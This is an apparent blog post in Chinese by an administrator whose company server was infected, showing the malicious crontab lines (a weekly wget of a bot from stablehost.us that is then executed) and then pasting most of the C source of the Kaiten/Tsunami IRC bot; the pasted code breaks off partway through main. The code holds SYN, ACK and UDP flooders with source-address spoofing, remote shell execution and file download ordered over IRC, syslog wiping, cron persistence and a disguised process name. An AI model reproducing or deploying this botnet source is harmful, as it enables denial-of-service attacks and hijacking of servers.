Linux 下一木马程序分享
前几天公司服务器被添加了一木马恶意程序，该程序一运行便对外发起了大量的连接，导致整个内网瘫痪掉，该木马注入的方式非常简单，只是在Linux crond定时器里加入以下任务：
[root@localhost tmp]# crontab -l
* * * * * /root/.zxc >/dev/null 2>&1
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a >/dev/null 2>&1
从指定网站下载相应的sh 脚本代码并运行，再下载木马程序源代码在本机编译执行，不断地对外发送数据包，有兴趣的朋友可以研究一下，看看该木马是要干什么的
木马的程序代码如下：
/* * !* SH uname -a * * There are a number of commands that can be sent to the client: * * TSUNAMI <target> <secs> = A PUSH+ACK flooder * * PAN <target> <port> <secs> = A SYN flooder * * UDP <target> <port> <secs> = An UDP flooder * * UNKNOWN <target> <secs> = Another non-spoof udp flooder * * NICK <nick> = Changes the nick of the client * * SERVER <server> = Changes servers * * GETSPOOFS = Gets the current spoofing * * SPOOFS <subnet> = Changes spoofing to a subnet * * DISABLE = Disables all packeting from this bot * * ENABLE = Enables all packeting from this bot * * KILL = Kills the knight * * GET <http address> <save as> = Downloads a file off the web * * VERSION = Requests version of knight * * KILLALL = Kills all current packeting * * HELP = Displays this * * IRC <command> = Sends this command to the server * * SH <command> = Executes a command * * Remember, all these commands must be prefixed by a ! and the nickname that * * you want the command to be sent to (can include wildcards). There are no * * spaces in between the ! and the nickname, and there are no spaces before * * the ! * * * * - contem on efnet * *******************************************************************************/////////////////////////////////////////////////////////////////////////////////// EDIT THESE //////////////////////////////////////////////////////////////////////////////////#define STARTUP// Start on startup?#undef IDENT// Only enable this if you absolutely have to#define FAKENAME "crond"// What you want this to hide as#define CHAN "#bsd"// Channel to join#define KEY "routers"// The key of the channel#define IRCPORT "6667"int numservers=1;// Must change this to equal number of servers down therechar *servers[] = {// List the servers in that format, always end in (void*)0 "linksys.secureshellz.net", (void*)0};////////////////////////////////////////////////////////////////////////////////// STOP HERE! //////////////////////////////////////////////////////////////////////////////////#include <stdarg.h>#include <errno.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <strings.h>#include <netinet/in.h>#include <unistd.h>#include <sys/time.h>#include <sys/socket.h>#include <signal.h>#include <arpa/inet.h>#include <netdb.h>#include <time.h>#include <sys/wait.h>#include <sys/ioctl.h>#include <pthread.h>int sock,changeservers=0;char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];unsigned int *pids;unsigned long spoofs=0, spoofsm=0, numpids=0;int strwildmatch(const char* pattern, const char* string) {switch(*pattern) {case '\0': return *string;case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));case '?': return !(*string && !strwildmatch(pattern+1, string+1));default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));}}int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args); return write(sock,textBuffer,strlen(textBuffer));}int mfork(char *sender) {unsigned int parent, *newpids, i;if (disabled == 1) {Send(sock,"NOTICE %s :Unable to comply.\n",sender);return 1;}parent=fork();if (parent <= 0) return parent;numpids++;newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));for (i=0;i<numpids-1;i++) newpids[i]=pids[i];newpids[numpids-1]=parent;free(pids);pids=newpids;return parent;}unsigned long getspoof() {if (!spoofs) return rand();if (spoofsm == 1) return ntohl(spoofs);return ntohl(spoofs+(rand() % spoofsm)+1);}void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }char *makestring() {char *tmp;int len=(rand()%5)+4,i; FILE *file;tmp=(char*)malloc(len+1); memset(tmp,0,len+1); if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;else {int a=((rand()*rand())%45402)+1;char buf[1024];for (i=0;i<a;i++) fgets(buf,1024,file);memset(buf,0,1024);fgets(buf,1024,file);filter(buf);memcpy(tmp,buf,len);fclose(file);}return tmp;}void identd() { int sockname,sockfd,sin_size,tmpsock,i; struct sockaddr_in my_addr,their_addr; char szBuffer[1024]; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; my_addr.sin_family = AF_INET; my_addr.sin_port = htons(113); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&(my_addr.sin_zero), 0, 8); if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; if (listen(sockfd, 1) == -1) return; if (fork() == 0) return; sin_size = sizeof(struct sockaddr_in); if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); for(;;) { fd_set bla; struct timeval timee; FD_ZERO(&bla); FD_SET(tmpsock,&bla); timee.tv_sec=timee.tv_usec=60; if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); if (FD_ISSET(tmpsock,&bla)) break; } i = recv(tmpsock,szBuffer,1024,0); if (i <= 0 || i >= 20) exit(0); szBuffer[i]=0; if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); close(tmpsock); close(sockfd); exit(0);}long pow(long a, long b) { if (b == 0) return 1; if (b == 1) return a; return a*pow(a,b-1);}u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer);}void get(int sock, char *sender, int argc, char **argv) { int sock2,i,d; struct sockaddr_in server; unsigned long ipaddr; char buf[1024]; FILE *file; unsigned char bufm[4096]; if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :GET <host> <save as>\n",sender); exit(0); } if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { Send(sock,"NOTICE %s :Unable to create socket.\n",sender); exit(0); } if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); else strcpy(buf,argv[1]); for (i=0;i<strlen(buf) && buf[i] != '/';i++); buf[i]=0; server.sin_family = AF_INET; server.sin_port = htons(80); if ((ipaddr = inet_addr(buf)) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(buf)) == NULL) { Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); exit(0); } memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) { Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); exit(0); } Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf); Send(sock,"NOTICE %s :Receiving file.\n",sender); file=fopen(argv[2],"wb"); while(1) { int i; if ((i=recv(sock2,bufm,4096,0)) <= 0) break; if (i < 4096) bufm[i]=0; for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) { for (d+=4;d<i;d++) fputc(bufm[d],file); goto done; } } done: Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]); while(1) { int i,d; if ((i=recv(sock2,bufm,4096,0)) <= 0) break; if (i < 4096) bufm[i]=0; for (d=0;d<i;d++) fputc(bufm[d],file); } fclose(file); close(sock2); exit(0);}void getspoofs(int sock, char *sender, int argc, char **argv) { unsigned long a=spoofs,b=spoofs+(spoofsm-1); if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]); else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);}void version(int sock, char *sender, int argc, char **argv) { Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);}void nickc(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :NICK <nick>\n",sender); return; } if (strlen(argv[1]) >= 10) { Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender); return; } Send(sock,"NICK %s\n",argv[1]);}void disable(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :DISABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); return; }if (disabled) {Send(sock,"NOTICE %s :Already disabled.\n",sender);return;}if (strlen(argv[1]) > 254) { Send(sock,"NOTICE %s :Password too long! > 254\n",sender); return;} disabled=1;memset(dispass,0,256);strcpy(dispass,argv[1]);Send(sock,"NOTICE %s :Disable sucessful.\n");}void enable(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :ENABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); return; }if (!disabled) {Send(sock,"NOTICE %s :Already enabled.\n",sender);return;}if (strcasecmp(dispass,argv[1])) {Send(sock,"NOTICE %s :Wrong password\n",sender);return;} disabled=0;Send(sock,"NOTICE %s :Password correct.\n",sender);}void spoof(int sock, char *sender, int argc, char **argv) { char ip[256]; int i, num; unsigned long uip; if (argc != 1) { Send(sock,"NOTICE %s :Removed all spoofs\n",sender); spoofs=0; spoofsm=0; return; } if (strlen(argv[1]) > 16) { Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender); return; } strcpy(ip,argv[1]); if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++; num=-(num-4); for (i=0;i<num;i++) strcat(ip,".0"); uip=inet_network(ip); if (num == 0) spoofsm=1; else spoofsm=pow(256,num); spoofs=uip;}struct iphdr { unsigned int ihl:4, version:4; unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned long saddr; unsigned long daddr;};struct udphdr { unsigned short source; unsigned short dest; unsigned short len; unsigned short check;};struct tcphdr { unsigned short source; unsigned short dest; unsigned long seq; unsigned long ack_seq; unsigned short res1:4, doff:4;unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1; unsigned short window; unsigned short check; unsigned short urg_ptr;};struct send_tcp {struct iphdr ip;struct tcphdr tcp;char buf[20];};struct pseudo_header {unsigned int source_address;unsigned int dest_address;unsigned char placeholder;unsigned char protocol;unsigned short tcp_length;struct tcphdr tcp;char buf[20];};unsigned int host2ip(char *sender,char *hostname) { static struct in_addr i; struct hostent *h; if((i.s_addr = inet_addr(hostname)) == -1) { if((h = gethostbyname(hostname)) == NULL) { Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); exit(0); } bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); } return i.s_addr;}void udp(int sock, char *sender, int argc, char **argv) { unsigned int port,i=0; unsigned long psize,target,secs; struct sockaddr_in s_in; struct iphdr *ip;struct udphdr *udp;char buf[1500],*str; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); if (argc < 3) { Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender); exit(1); } target = host2ip(sender,argv[1]); port = atoi(argv[2]); secs = atol(argv[3]); ip=(void*)buf;udp=(void*)(buf+sizeof(struct iphdr)); str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr)); memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr))); Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = 1500; ip->frag_off = 0; ip->protocol = 17; ip->ttl = 64; ip->daddr = target; udp->len = htons(psize); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = target; for (;;) { udp->source = rand(); if (port) udp->dest = htons(port); else udp->dest = rand(); udp->check = in_cksum((u_short *)buf,1500); ip->saddr = getspoof(); ip->id = rand(); ip->check = in_cksum((u_short *)buf,1500); s_in.sin_port = udp->dest; sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in)); if (i >= 50) { if (time(NULL) >= start+secs) exit(0); i=0; } i++; }}void pan(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]); Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 64; send_tcp.ip.protocol = 6; send_tcp.tcp.ack_seq = 0; send_tcp.tcp.doff = 10; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; dest=htons(atoi(argv[2])); while(1) { source=rand(); if (atoi(argv[2]) == 0) dest=rand(); saddr=getspoof(); send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.saddr = saddr; send_tcp.ip.daddr = daddr; send_tcp.ip.check = 0; send_tcp.tcp.source = source; send_tcp.tcp.dest = dest; send_tcp.tcp.seq = rand(); send_tcp.tcp.check = 0; sin.sin_family = AF_INET; sin.sin_port = dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = rand(); send_tcp.buf[9]=((char*)&check)[0]; send_tcp.buf[10]=((char*)&check)[1]; send_tcp.buf[11]=((char*)&check)[2]; send_tcp.buf[12]=((char*)&check)[3]; pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (a >= 50) { if (time(NULL) >= start+secs) exit(0); a=0; } a++; } close(get); exit(0);}void tsunami(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int psize=1400, check,i; unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender); exit(1); } secs=atol(argv[2]); if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); srand(time(NULL) ^ getpid()); memset(send_tcp.buf,rand(),psize); daddr=host2ip(sender,argv[1]); Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]); while(1) { saddr=getspoof(); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 64; send_tcp.ip.protocol = 6; send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr; send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = rand(); send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 1; send_tcp.tcp.psh = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 0; send_tcp.tcp.window = 30845; send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0; sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = in_cksum((unsigned short *)&send_tcp, 40); pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++; } close(get); exit(0);}void unknown(int sock, char *sender, int argc, char **argv) {int flag=1,fd,i;unsigned long secs;char *buf=(char*)malloc(9216); struct hostent *hp;struct sockaddr_in in; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender); exit(1); } secs=atol(argv[2]);memset((void*)&in,0,sizeof(struct sockaddr_in));in.sin_addr.s_addr=host2ip(sender,argv[1]);in.sin_family = AF_INET; Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);while(1) {in.sin_port = rand();if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);else {flag=1;ioctl(fd,FIONBIO,&flag);sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));close(fd);} if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++;} close(fd);exit(0);}/* high pps attack */void unknown2(int sock, char *sender, int argc, char **argv) { int flag=1,fd,i; unsigned long secs; char *buf=(char*)malloc(128); struct hostent *hp; struct sockaddr_in in; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender); exit(1); } secs=atol(argv[2]); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=host2ip(sender,argv[1]); in.sin_family = AF_INET; Send(sock,"NOTICE %s :Udp pps %s.\n",sender,argv[1]); while(1) { in.sin_port = rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag=1; ioctl(fd,FIONBIO,&flag); sendto(fd,buf,128,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++; } close(fd); exit(0);}/* only on port 53 */void unknown3(int sock, char *sender, int argc, char **argv) { int flag=1,fd,i; unsigned long secs; char *buf=(char*)malloc(9216); struct hostent *hp; struct sockaddr_in in; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender); exit(1); } secs=atol(argv[2]); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=host2ip(sender,argv[1]); in.sin_family = AF_INET; Send(sock,"NOTICE %s :UDO53 %s.\n",sender,argv[1]); while(1) { in.sin_port = 53; if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag=1; ioctl(fd,FIONBIO,&flag); sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++; } close(fd); exit(0);}/* high pps port 53 */void unknown4(int sock, char *sender, int argc, char **argv) { int flag=1,fd,i; unsigned long secs; char *buf=(char*)malloc(56); struct hostent *hp; struct sockaddr_in in; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 2) { Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender); exit(1); } secs=atol(argv[2]); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=host2ip(sender,argv[1]); in.sin_family = AF_INET; Send(sock,"NOTICE %s :UDP53:56 %s.\n",sender,argv[1]); while(1) { in.sin_port = 53; if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag=1; ioctl(fd,FIONBIO,&flag); sendto(fd,buf,56,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++; } close(fd); exit(0);}void move(int sock, char *sender, int argc, char **argv) { if (argc < 1) { Send(sock,"NOTICE %s :MOVE <server>\n",sender); exit(1); }server=strdup(argv[1]);changeservers=1;close(sock);}void help(int sock, char *sender, int argc, char **argv) { exit(0);}void killall(int sock, char *sender, int argc, char **argv) { unsigned long i; for (i=0;i<numpids;i++) { if (pids[i] != 0 && pids[i] != getpid()) { if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]); kill(pids[i],9); } }}void killd(int sock, char *sender, int argc, char **argv) {if (!disable) kill(0,9);else Send(sock,"NOTICE %s :Unable to comply.\n");}struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {{ "TSUNAMI", tsunami }, { "PAN", pan }, { "UDP", udp },{ "UNKNOWN", unknown }, { "UNKNOWN2", unknown2 },{ "UNKNOWN3", unknown3 },{ "UNKNOWN4", unknown4 }, { "NICK", nickc }, { "SERVER", move },{ "GETSPOOFS", getspoofs }, { "SPOOFS", spoof },{ "DISABLE", disable }, { "ENABLE", enable }, { "KILL", killd },{ "GET", get }, { "VERSION", version }, { "KILLALL", killall }, { "HELP", help },{ (char *)0, (void (*)(int,char *,int,char **))0 } };void _PRIVMSG(int sock, char *sender, char *str) { int i; char *to, *message; for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; to=str; message=str+i+2; for (i=0;i<strlen(sender) && sender[i] != '!';i++); sender[i]=0; if (*message == '!' && !strcasecmp(to,chan)) { char *params[12], name[1024]={0}; int num_params=0, m; message++; for (i=0;i<strlen(message) && message[i] != ' ';i++); message[i]=0; if (strwildmatch(message,nick)) return; message+=i+1; if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4); if (!strncmp(message,"SH ",3)) { char buf[1024]; FILE *command; if (mfork(sender) != 0) return; memset(buf,0,1024); sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3); command=popen(buf,"r"); while(!feof(command)) { memset(buf,0,1024); fgets(buf,1024,command); Send(sock,"NOTICE %s :%s\n",sender,buf); sleep(1); } pclose(command); exit(0); } m=strlen(message); for (i=0;i<m;i++) { if (*message == ' ' || *message == 0) break; name[i]=*message; message++; } for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; num_params++; if (num_params > 10) num_params=10; params[0]=name; params[num_params+1]="\0"; m=1; while (*message != 0) { message++; if (m >= num_params) break; for (i=0;i<strlen(message) && message[i] != ' ';i++); params[m]=(char*)malloc(i+1); strncpy(params[m],message,i); params[m][i]=0; m++; message+=i; } for (m=0; flooders[m].cmd != (char *)0; m++) { if (!strcasecmp(flooders[m].cmd,name)) { flooders[m].func(sock,sender,num_params-1,params); for (i=1;i<num_params;i++) free(params[i]); return; } } }}void _376(int sock, char *sender, char *str) { Send(sock,"MODE %s -xi\n",nick); Send(sock,"JOIN %s :%s\n",chan,key);}void _PING(int sock, char *sender, char *str) { Send(sock,"PONG %s\n",str);}void _352(int sock, char *sender, char *str) { int i,d; char *msg=str; struct hostent *hostm; unsigned long m; for (i=0,d=0;d<5;d++) { for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; if (i == strlen(str)) return; } for (i=0;i<strlen(msg) && msg[i] != ' ';i++); msg[i]=0; if (!strcasecmp(msg,nick) && !spoofsm) { msg=str; for (i=0,d=0;d<3;d++) { for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; if (i == strlen(str)) return; } for (i=0;i<strlen(msg) && msg[i] != ' ';i++); msg[i]=0; if ((m = inet_addr(msg)) == -1) { if ((hostm=gethostbyname(msg)) == NULL) { Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan); return; } memcpy((char*)&m, hostm->h_addr, hostm->h_length); } ((char*)&spoofs)[3]=((char*)&m)[0]; ((char*)&spoofs)[2]=((char*)&m)[1]; ((char*)&spoofs)[1]=((char*)&m)[2]; ((char*)&spoofs)[0]=0; spoofsm=256; }}void _433(int sock, char *sender, char *str) { free(nick); nick=makestring();}void _NICK(int sock, char *sender, char *str) {int i; for (i=0;i<strlen(sender) && sender[i] != '!';i++); sender[i]=0;if (!strcasecmp(sender,nick)) {if (*str == ':') str++;if (nick) free(nick);nick=strdup(str);}}struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = { { "352", _352 }, { "376", _376 }, { "433", _433 }, { "422", _376 }, { "PRIVMSG", _PRIVMSG }, { "PING", _PING },{ "NICK", _NICK },{ (char *)0, (void (*)(int,char *,char *))0 } };void con() { struct sockaddr_in srv; unsigned long ipaddr,start; int flag; struct hostent *hp;start:sock=-1;flag=1;if (changeservers == 0) server=servers[rand()%numservers];changeservers=0; while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);if (inet_addr(server) == 0 || inet_addr(server) == -1) {if ((hp = gethostbyname(server)) == NULL) {server=NULL;close(sock);goto start;}bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);}else srv.sin_addr.s_addr=inet_addr(server); srv.sin_family = AF_INET; srv.sin_port = htons(25);ioctl(sock,FIONBIO,&flag);start=time(NULL);while(time(NULL)-start < 10) {errno=0;if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) { setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);return;}if (!(errno == EINPROGRESS ||errno == EALREADY)) break;sleep(1);}server=NULL;close(sock);goto start;}int main(int argc, char **argv) { int on,i; char cwd[256],*str; FILE *file;system("rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog;");#ifdef STARTUP str="/tmp/cron"; file=fopen(str,"r"); if (file == NULL) { system("touch /tmp/cron"); sleep(1); file=fopen(str,"r"); } if (file != NULL) { char outfile[256], buf[1024],cron[1024],tmp[1024]; int i=strlen(argv[0]), d=0; getcwd(cwd,256); sprintf(cron,"* * * * * "); if (strcmp(cwd,"/")) { while(argv[0][i] != '/') i--; sprintf(outfile,"%s%s",cwd,argv[0]+i); while(!feof(file)) { fgets(buf,1024,file); if (!strcasecmp(buf,outfile)) d++; } strcat(cron,outfile); strcat(cron," >/dev/null 2>&1\n"); sprintf(tmp,"@weekly wget http://stablehost.us/bots/regular.bot -O %s;chmod +x %s;%s >/dev/null 2>&1\n",outfile,outfile,outfile); strcat(cron,tmp); if (d == 0) { FILE *out; fclose(file); out=fopen(str,"a"); if (out != NULL) { fputs(cron,out); fclose(out); } system("crontab /tmp/cron;rm -rf /tmp/cron"); } else fclose(file); } else fclose(file); }#endif/* end of startup / cron mod *//* single instance by kingcope */int pid_file = open("/tmp/.z", O_CREAT | O_RDWR, 0666); int rc = flock(pid_file, LOCK_EX | LOCK_NB); if(rc) { if(EWOULDBLOCK == errno) ; // another instance is running exit(1);} if (fork()) exit(0);#ifdef FAKENAMEstrncpy(argv[0],FAKENAME,strlen(argv[0])); for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));#endif srand((time(NULL) ^ getpid()) + getppid()); nick=makestring(); ident=makestring(); user=makestring(); chan=CHAN;key=KEY;server=NULL;sa:#ifdef IDENT for (i=0;i<numpids;i++) { if (pids[i] != 0 && pids[i] != getpid()) { kill(pids[i],9);waitpid(pids[i],NULL,WNOHANG); } }pids=NULL;numpids=0;identd();#endif#define SPASS "authenticationpassword"con(); Send(sock,"PASS %s\nNICK d|%s\nUSER %s localhost localhost :%s\n",SPASS,nick,ident,user); while(1) { unsigned long i; fd_set n; struct timeval tv; FD_ZERO(&n); FD_SET(sock,&n); tv.tv_sec=60*20; tv.tv_usec=0; if 